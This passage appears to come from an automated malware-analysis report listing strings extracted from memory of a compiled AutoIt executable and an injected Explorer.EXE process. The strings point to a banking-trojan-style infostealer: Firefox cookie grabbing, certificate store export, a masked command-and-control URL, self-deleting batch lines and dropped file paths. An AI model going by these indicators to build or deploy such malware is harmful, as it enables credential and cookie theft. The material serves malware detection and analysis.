"Struct" or "Const" statement.0Expected a "=" operator in assignment statement.*Invalid keyword at the start of this line.</pre><pre>Invalid element in a DllStruct.*Unknown option or bad parameter specified.&Unable to load the internet libraries./"Struct" statement has no matching "EndStruct".HUnable to open file, the maximum number of open files has been exceeded.K"ContinueLoop" statement with no matching "While", "Do" or "For" statement.</pre><pre>Invalid file filter given.*Expected a variable in user function call.1"Do" statement has no matching "Until" statement.2"Until" statement with no matching "Do" statement.#"For" statement is badly formatted.2"Next" statement with no matching "For" statement.N"ExitLoop/ContinueLoop" statements only valid from inside a For/Do/While loop.1"For" statement has no matching "Next" statement.@"Case" statement with no matching "Select"or "Switch" statement.:"EndSelect" statement with no matching "Select" statement.ORecursion level has been exceeded - AutoIt will quit to prevent stack overflow.&Cannot make existing variables static.4Cannot make static variables into regular variables.</pre><pre>3This keyword cannot be used after a "Then" keyword.</pre><pre>>"Select" statement is missing "EndSelect" or "Case" statement. "If" statements must have a "Then" keyword. Badly formated Struct statement."Cannot assign values to constants..Cannot make existing variables into constants.9Only Object-type variables allowed in a "With" statement.v"long_ptr", "int_ptr" and "short_ptr" DllCall() types have been deprecated. Use "long*", "int*" and "short*" instead.-Object referenced outside a "With" statement.)Nested "With" statements are not allowed."Variable must be of type "Object".1The requested action with this object has failed.8Variable appears more than once in function declaration.2ReDim array can not be initialized in this manner.1An array variable can not be used in this manner.</pre><pre>HCan pass constants by reference only to parameters with "Const" keyword.*Can not initialize a variable with itself.$Incorrect way to use this parameter.:"EndSwitch" statement with no matching "Switch" statement.>"Switch" statement is missing "EndSwitch" or "Case" statement.H"ContinueCase" statement with no matching "Select"or "Switch" statement.</pre><pre>String missing closing quote.!Badly formated variable or macro.*Missing separator character after keyword.</pre><b>%original file name%.exe_656_rwx_00401000_000B1000:</b><pre>s%j.Zf</pre><pre>8crtsu</pre><pre>:crts</pre><pre>crts</pre><pre>GetProcessWindowStation</pre><pre>operator</pre><pre>This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.</pre><pre>uxtheme.dll</pre><pre>kernel32.dll</pre><pre>operand of unlimited repeat could match the empty string</pre><pre>POSIX named classes are supported only within a class</pre><pre>erroffset passed as NULL</pre><pre>POSIX collating elements are not supported</pre><pre>this version of PCRE is not compiled with PCRE_UTF8 support</pre><pre>PCRE does not support \L, \l, \N{name}, \U, or \u</pre><pre>support for \P, \p, and \X has not been compiled</pre><pre>this version of PCRE is not compiled with PCRE_UCP support</pre><pre>ICMP.DLL</pre><pre>advapi32.dll</pre><pre>RegDeleteKeyExW</pre><pre>Error text not found (please report)</pre><pre>zcÁ</pre><pre>GetProcessHeap</pre><pre>CreatePipe</pre><pre>GetWindowsDirectoryW</pre><pre>GetCPInfo</pre><pre>RegDeleteKeyW</pre><pre>RegEnumKeyExW</pre><pre>RegCreateKeyExW</pre><pre>RegOpenKeyExW</pre><pre>RegCloseKey</pre><pre>SetViewportOrgEx</pre><pre>ShellExecuteExW</pre><pre>SHFileOperationW</pre><pre>ShellExecuteW</pre><pre>RegisterHotKey</pre><pre>GetKeyboardLayoutNameW</pre><pre>ExitWindowsEx</pre><pre>EnumThreadWindows</pre><pre>GetAsyncKeyState</pre><pre>SetKeyboardState</pre><pre>GetKeyboardState</pre><pre>GetKeyState</pre><pre>VkKeyScanW</pre><pre>EnumWindows</pre><pre>EnumChildWindows</pre><pre>MapVirtualKeyW</pre><pre>CloseWindowStation</pre><pre>SetProcessWindowStation</pre><pre>OpenWindowStationW</pre><pre>UnregisterHotKey</pre><pre>keybd_event</pre><pre>InternetCrackUrlW</pre><pre>HttpQueryInfoW</pre><pre>HttpOpenRequestW</pre><pre>HttpSendRequestW</pre><pre>FtpOpenFileW</pre><pre>FtpGetFileSize</pre><pre>InternetOpenUrlW</pre><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.rsrc</pre><pre>23$--%"!'</pre><pre>s.ak[</pre><pre>mscoree.dll</pre><pre>nKERNEL32.DLL</pre><pre>- Attempt to initialize the CRT more than once.</pre><pre>- CRT not initialized</pre><pre>- floating point support not loaded</pre><pre>WUSER32.DLL</pre><pre>>>>AUTOIT NO CMDEXECUTE<<<</pre><pre>CMDLINERAW</pre><pre>CMDLINE</pre><pre>/AutoIt3ExecuteLine</pre><pre>/AutoIt3ExecuteScript</pre><pre>%s (%d) : ==> %s.:</pre><pre>Line %d:</pre><pre>Line %d (File "%s"):</pre><pre>%s (%d) : ==> %s:</pre><pre>AutoIt script files (*.au3, *.a3x)</pre><pre>*.au3;*.a3x</pre><pre>All files (*.*)</pre><pre>#NoAutoIt3Execute</pre><pre>APPSKEY</pre><pre>04090000</pre><pre>%u.%u.%u.%u</pre><pre>0.0.0.0</pre><pre>Mddddd</pre><pre>%s (%d) : ==> %s:</pre><pre>UDPSTARTUP</pre><pre>UDPSHUTDOWN</pre><pre>UDPSEND</pre><pre>UDPRECV</pre><pre>UDPOPEN</pre><pre>UDPCLOSESOCKET</pre><pre>UDPBIND</pre><pre>TRAYGETMSG</pre><pre>TCPSTARTUP</pre><pre>TCPSHUTDOWN</pre><pre>TCPSEND</pre><pre>TCPRECV</pre><pre>TCPNAMETOIP</pre><pre>TCPLISTEN</pre><pre>TCPCONNECT</pre><pre>TCPCLOSESOCKET</pre><pre>TCPACCEPT</pre><pre>SHELLEXECUTEWAIT</pre><pre>SHELLEXECUTE</pre><pre>REGENUMKEY</pre><pre>MSGBOX</pre><pre>ISKEYWORD</pre><pre>HTTPSETUSERAGENT</pre><pre>HTTPSETPROXY</pre><pre>HOTKEYSET</pre><pre>GUIREGISTERMSG</pre><pre>GUIGETMSG</pre><pre>GUICTRLSENDMSG</pre><pre>GUICTRLRECVMSG</pre><pre>FTPSETPROXY</pre><pre>\??\%s</pre><pre>GUI_RUNDEFMSG</pre><pre>SendKeyDelay</pre><pre>SendKeyDownDelay</pre><pre>TCPTimeout</pre><pre>AUTOITCALLVARIABLE%d</pre><pre>255.255.255.255</pre><pre>Keyword</pre><pre>AutoIt.Error</pre><pre>Null Object assignment in FOR..IN loop</pre><pre>Incorrect Object type in FOR..IN loop</pre><pre>HOTKEYPRESSED</pre><pre>AUTOITEXE</pre><pre>WINDOWSDIR</pre><pre>3, 3, 8, 1</pre><pre>HKEY_LOCAL_MACHINE</pre><pre>HKEY_CLASSES_ROOT</pre><pre>HKEY_CURRENT_CONFIG</pre><pre>HKEY_CURRENT_USER</pre><pre>HKEY_USERS</pre><pre>%d/d/d</pre><pre>c:\%original file name%.exe</pre><pre>:C:\%original file name%.exe</pre><pre>AutoIt supports the __stdcall (WINAPI) and __cdecl calling conventions. The __stdcall (WINAPI) convention is used by default but __cdecl can be used instead. See the DllCall() documentation for details on changing the calling convention.</pre><pre>Missing operator in expression."Unbalanced brackets in expression.</pre><pre>Error parsing function call.0Incorrect number of parameters in function call.'"ReDim" used without an array variable.>Illegal text at the end of statement (one statement per line).1"If" statement has no matching "EndIf" statement.1"Else" statement with no matching "If" statement.2"EndIf" statement with no matching "If" statement.7Too many "Else" statements for matching "If" statement.3"While" statement has no matching "Wend" statement.4"Wend" statement with no matching "While" statement.%Variable used without being declared.XArray variable has incorrect number of subscripts or subscript dimension range exceeded.)Array variable subscript badly formatted.'Subscript used with non-Array variable.&Too many subscripts used for an array.0Missing subscript dimensions in "Dim" statement.NNo variable given for "Dim", "Local", "Global", "Struct" or "Const" statement.0Expected a "=" operator in assignment statement.*Invalid keyword at the start of this line.</pre><pre>Invalid element in a DllStruct.*Unknown option or bad parameter specified.&Unable to load the internet libraries./"Struct" statement has no matching "EndStruct".HUnable to open file, the maximum number of open files has been exceeded.K"ContinueLoop" statement with no matching "While", "Do" or "For" statement.</pre><pre>Invalid file filter given.*Expected a variable in user function call.1"Do" statement has no matching "Until" statement.2"Until" statement with no matching "Do" statement.#"For" statement is badly formatted.2"Next" statement with no matching "For" statement.N"ExitLoop/ContinueLoop" statements only valid from inside a For/Do/While loop.1"For" statement has no matching "Next" statement.@"Case" statement with no matching "Select"or "Switch" statement.:"EndSelect" statement with no matching "Select" statement.ORecursion level has been exceeded - AutoIt will quit to prevent stack overflow.&Cannot make existing variables static.4Cannot make static variables into regular variables.</pre><pre>3This keyword cannot be used after a "Then" keyword.</pre><pre>>"Select" statement is missing "EndSelect" or "Case" statement. "If" statements must have a "Then" keyword. Badly formated Struct statement."Cannot assign values to constants..Cannot make existing variables into constants.9Only Object-type variables allowed in a "With" statement.v"long_ptr", "int_ptr" and "short_ptr" DllCall() types have been deprecated. Use "long*", "int*" and "short*" instead.-Object referenced outside a "With" statement.)Nested "With" statements are not allowed."Variable must be of type "Object".1The requested action with this object has failed.8Variable appears more than once in function declaration.2ReDim array can not be initialized in this manner.1An array variable can not be used in this manner.</pre><pre>HCan pass constants by reference only to parameters with "Const" keyword.*Can not initialize a variable with itself.$Incorrect way to use this parameter.:"EndSwitch" statement with no matching "Switch" statement.>"Switch" statement is missing "EndSwitch" or "Case" statement.H"ContinueCase" statement with no matching "Select"or "Switch" statement.</pre><pre>String missing closing quote.!Badly formated variable or macro.*Missing separator character after keyword.</pre><b>%original file name%.exe_656_rwx_012D0000_0003B000:</b><pre>.text</pre><pre>`.data</pre><pre>.reloc</pre><pre>%s%s%s</pre><pre>HTTP/1.1</pre><pre>HTTP/1.0</pre><pre>http://</pre><pre>https://</pre><pre>HTTP/1.</pre><pre>gdiplus.dll</pre><pre>GdiplusShutdown</pre><pre>ole32.dll</pre><pre>gdi32.dll</pre><pre>http://www.google.com/webhp</pre><pre>PR_OpenTCPSocket</pre><pre>cit_ffcookie.module</pre><pre>cit_video.module</pre><pre>userenv.dll</pre><pre>del "%s"</pre><pre>if exist "%s" goto d</pre><pre>del /F "%s"</pre><pre>Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)</pre><pre>urlmon.dll</pre><pre>cabinet.dll</pre><pre>http://xxxxxxxx.com/xxxx/xxxx.php</pre><pre>%s, u %s %u u:u:u GMT</pre><pre>; charset=%s</pre><pre>HTTP/1.1 %u %s</pre><pre>Date: %s</pre><pre>Content-Length: %u</pre><pre>Expires: %s</pre><pre>Content-Type: %s%s</pre><pre>ID: %s</pre><pre>value_%s</pre><pre>value_%s_%s</pre><pre>%s = "%s";</pre><pre>update.exe</pre><pre>config.bin</pre><pre>facebook.com</pre><pre>Cookie: %s</pre><pre>Referer: %s</pre><pre>Accept: %s</pre><pre>Accept-Language: %s</pre><pre>Accept-Encoding: %s</pre><pre>='?8,6,&</pre><pre>&<'.6$2"</pre><pre>*;>",*' 04</pre><pre>%9%'62 1</pre><pre>0-'40'7!7</pre><pre>1$34/**8</pre><pre>!'8>#-" </pre><pre>38.2-0&5</pre><pre>0:.vmk<][</pre><pre>$/9%:'1"</pre><pre>^#?07&'22</pre><pre>_getFirefoxCookie</pre><pre>CreatePipe</pre><pre>GetProcessHeap</pre><pre>KERNEL32.dll</pre><pre>OpenWindowStationW</pre><pre>GetProcessWindowStation</pre><pre>CreateWindowStationW</pre><pre>CloseWindowStation</pre><pre>SetProcessWindowStation</pre><pre>GetKeyboardLayoutList</pre><pre>ExitWindowsEx</pre><pre>GetKeyboardState</pre><pre>MsgWaitForMultipleObjects</pre><pre>SetKeyboardState</pre><pre>MapVirtualKeyW</pre><pre>USER32.dll</pre><pre>RegCreateKeyExW</pre><pre>RegOpenKeyExW</pre><pre>RegCloseKey</pre><pre>RegEnumKeyExW</pre><pre>RegCreateKeyW</pre><pre>RegQueryInfoKeyW</pre><pre>RegEnumKeyW</pre><pre>ADVAPI32.dll</pre><pre>UrlUnescapeA</pre><pre>SHDeleteKeyW</pre><pre>PathIsURLW</pre><pre>SHLWAPI.dll</pre><pre>ShellExecuteW</pre><pre>SHELL32.dll</pre><pre>Secur32.dll</pre><pre>SetViewportOrgEx</pre><pre>GDI32.dll</pre><pre>WS2_32.dll</pre><pre>PFXImportCertStore</pre><pre>CertDeleteCertificateFromStore</pre><pre>CertOpenSystemStoreW</pre><pre>CertCloseStore</pre><pre>CertEnumCertificatesInStore</pre><pre>CertDuplicateCertificateContext</pre><pre>PFXExportCertStoreEx</pre><pre>CRYPT32.dll</pre><pre>HttpSendRequestExA</pre><pre>HttpQueryInfoA</pre><pre>HttpSendRequestExW</pre><pre>HttpSendRequestW</pre><pre>HttpOpenRequestA</pre><pre>HttpOpenRequestW</pre><pre>HttpEndRequestA</pre><pre>HttpSendRequestA</pre><pre>HttpEndRequestW</pre><pre>InternetCrackUrlA</pre><pre>HttpAddRequestHeadersW</pre><pre>HttpAddRequestHeadersA</pre><pre>GetUrlCacheEntryInfoW</pre><pre>WININET.dll</pre><pre>OLEAUT32.dll</pre><pre>NETAPI32.dll</pre><pre>VERSION.dll</pre><pre>WINMM.dll</pre><pre>PSSSSSSh</pre><pre>SSSh4</pre><pre>42>204:4</pre><pre>nspr4.dll</pre><pre>chrome.dll</pre><pre>kernel32.dll</pre><pre>\StringFileInfo\xx\%s</pre><pre>ntdll.dll</pre><pre>"%s" %s</pre><pre>/c "%s"</pre><pre>%sx.%s</pre><pre>%sx</pre><pre>SELECT * FROM %s</pre><pre>sXXXX</pre><pre>Company: %s</pre><pre>Product: %s</pre><pre>Version: %s</pre><pre>Software\Microsoft\Windows\CurrentVersion\Uninstall</pre><pre>%u: %s | %s | %s</pre><pre>Chrome</pre><pre>Firefox</pre><pre>SysShadow</pre><pre>Global\XXX</pre><pre>%Documents and Settings%\%current user%\Application Data</pre><pre>{6DB4D8E4-ADFE-1415-DC3A-507F1E7BFE75}</pre><pre>Global\{FBCF6AC1-1FDB-826E-DC3A-507F1E7BFE75}</pre><b>Explorer.EXE_128_rwx_01DF0000_0003B000:</b><pre>.text</pre><pre>`.data</pre><pre>.reloc</pre><pre>%s%s%s</pre><pre>HTTP/1.1</pre><pre>HTTP/1.0</pre><pre>http://</pre><pre>https://</pre><pre>HTTP/1.</pre><pre>gdiplus.dll</pre><pre>GdiplusShutdown</pre><pre>ole32.dll</pre><pre>gdi32.dll</pre><pre>http://www.google.com/webhp</pre><pre>PR_OpenTCPSocket</pre><pre>cit_ffcookie.module</pre><pre>cit_video.module</pre><pre>userenv.dll</pre><pre>del "%s"</pre><pre>if exist "%s" goto d</pre><pre>del /F "%s"</pre><pre>Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)</pre><pre>urlmon.dll</pre><pre>cabinet.dll</pre><pre>http://xxxxxxxx.com/xxxx/xxxx.php</pre><pre>%s, u %s %u u:u:u GMT</pre><pre>; charset=%s</pre><pre>HTTP/1.1 %u %s</pre><pre>Date: %s</pre><pre>Content-Length: %u</pre><pre>Expires: %s</pre><pre>Content-Type: %s%s</pre><pre>ID: %s</pre><pre>value_%s</pre><pre>value_%s_%s</pre><pre>%s = "%s";</pre><pre>update.exe</pre><pre>config.bin</pre><pre>facebook.com</pre><pre>Cookie: %s</pre><pre>Referer: %s</pre><pre>Accept: %s</pre><pre>Accept-Language: %s</pre><pre>Accept-Encoding: %s</pre><pre>='?8,6,&</pre><pre>&<'.6$2"</pre><pre>*;>",*' 04</pre><pre>%9%'62 1</pre><pre>0-'40'7!7</pre><pre>1$34/**8</pre><pre>!'8>#-" </pre><pre>38.2-0&5</pre><pre>0:.vmk<][</pre><pre>$/9%:'1"</pre><pre>^#?07&'22</pre><pre>_getFirefoxCookie</pre><pre>CreatePipe</pre><pre>GetProcessHeap</pre><pre>KERNEL32.dll</pre><pre>OpenWindowStationW</pre><pre>GetProcessWindowStation</pre><pre>CreateWindowStationW</pre><pre>CloseWindowStation</pre><pre>SetProcessWindowStation</pre><pre>GetKeyboardLayoutList</pre><pre>ExitWindowsEx</pre><pre>GetKeyboardState</pre><pre>MsgWaitForMultipleObjects</pre><pre>SetKeyboardState</pre><pre>MapVirtualKeyW</pre><pre>USER32.dll</pre><pre>RegCreateKeyExW</pre><pre>RegOpenKeyExW</pre><pre>RegCloseKey</pre><pre>RegEnumKeyExW</pre><pre>RegCreateKeyW</pre><pre>RegQueryInfoKeyW</pre><pre>RegEnumKeyW</pre><pre>ADVAPI32.dll</pre><pre>UrlUnescapeA</pre><pre>SHDeleteKeyW</pre><pre>PathIsURLW</pre><pre>SHLWAPI.dll</pre><pre>ShellExecuteW</pre><pre>SHELL32.dll</pre><pre>Secur32.dll</pre><pre>SetViewportOrgEx</pre><pre>GDI32.dll</pre><pre>WS2_32.dll</pre><pre>PFXImportCertStore</pre><pre>CertDeleteCertificateFromStore</pre><pre>CertOpenSystemStoreW</pre><pre>CertCloseStore</pre><pre>CertEnumCertificatesInStore</pre><pre>CertDuplicateCertificateContext</pre><pre>PFXExportCertStoreEx</pre><pre>CRYPT32.dll</pre><pre>HttpSendRequestExA</pre><pre>HttpQueryInfoA</pre><pre>HttpSendRequestExW</pre><pre>HttpSendRequestW</pre><pre>HttpOpenRequestA</pre><pre>HttpOpenRequestW</pre><pre>HttpEndRequestA</pre><pre>HttpSendRequestA</pre><pre>HttpEndRequestW</pre><pre>InternetCrackUrlA</pre><pre>HttpAddRequestHeadersW</pre><pre>HttpAddRequestHeadersA</pre><pre>GetUrlCacheEntryInfoW</pre><pre>WININET.dll</pre><pre>OLEAUT32.dll</pre><pre>NETAPI32.dll</pre><pre>VERSION.dll</pre><pre>WINMM.dll</pre><pre>PSSSSSSh</pre><pre>SSSh4</pre><pre>42>204:4</pre><pre>nspr4.dll</pre><pre>chrome.dll</pre><pre>kernel32.dll</pre><pre>\StringFileInfo\xx\%s</pre><pre>ntdll.dll</pre><pre>"%s" %s</pre><pre>/c "%s"</pre><pre>%sx.%s</pre><pre>%sx</pre><pre>SELECT * FROM %s</pre><pre>sXXXX</pre><pre>Company: %s</pre><pre>Product: %s</pre><pre>Version: %s</pre><pre>Software\Microsoft\Windows\CurrentVersion\Uninstall</pre><pre>%u: %s | %s | %s</pre><pre>Chrome</pre><pre>Firefox</pre><pre>SysShadow</pre><pre>Global\XXX</pre><pre>%Documents and Settings%\%current user%\Application Data</pre><pre>{6DB4D8E4-ADFE-1415-DC3A-507F1E7BFE75}</pre><pre>%Documents and Settings%\%current user%\Application Data\Eqoldu\actio.fis</pre><pre>%Documents and Settings%\%current user%\Application Data\Eqoldu</pre><pre>actio.fis</pre><pre>%Documents and Settings%\%current user%\Application Data\Bipeof\mowu.uho</pre><pre>%Documents and Settings%\%current user%\Application Data\Bipeof</pre><pre>mowu.uho</pre><pre>Global\{FBCF6AC1-1FDB-826E-DC3A-507F1E7BFE75}</pre></pre>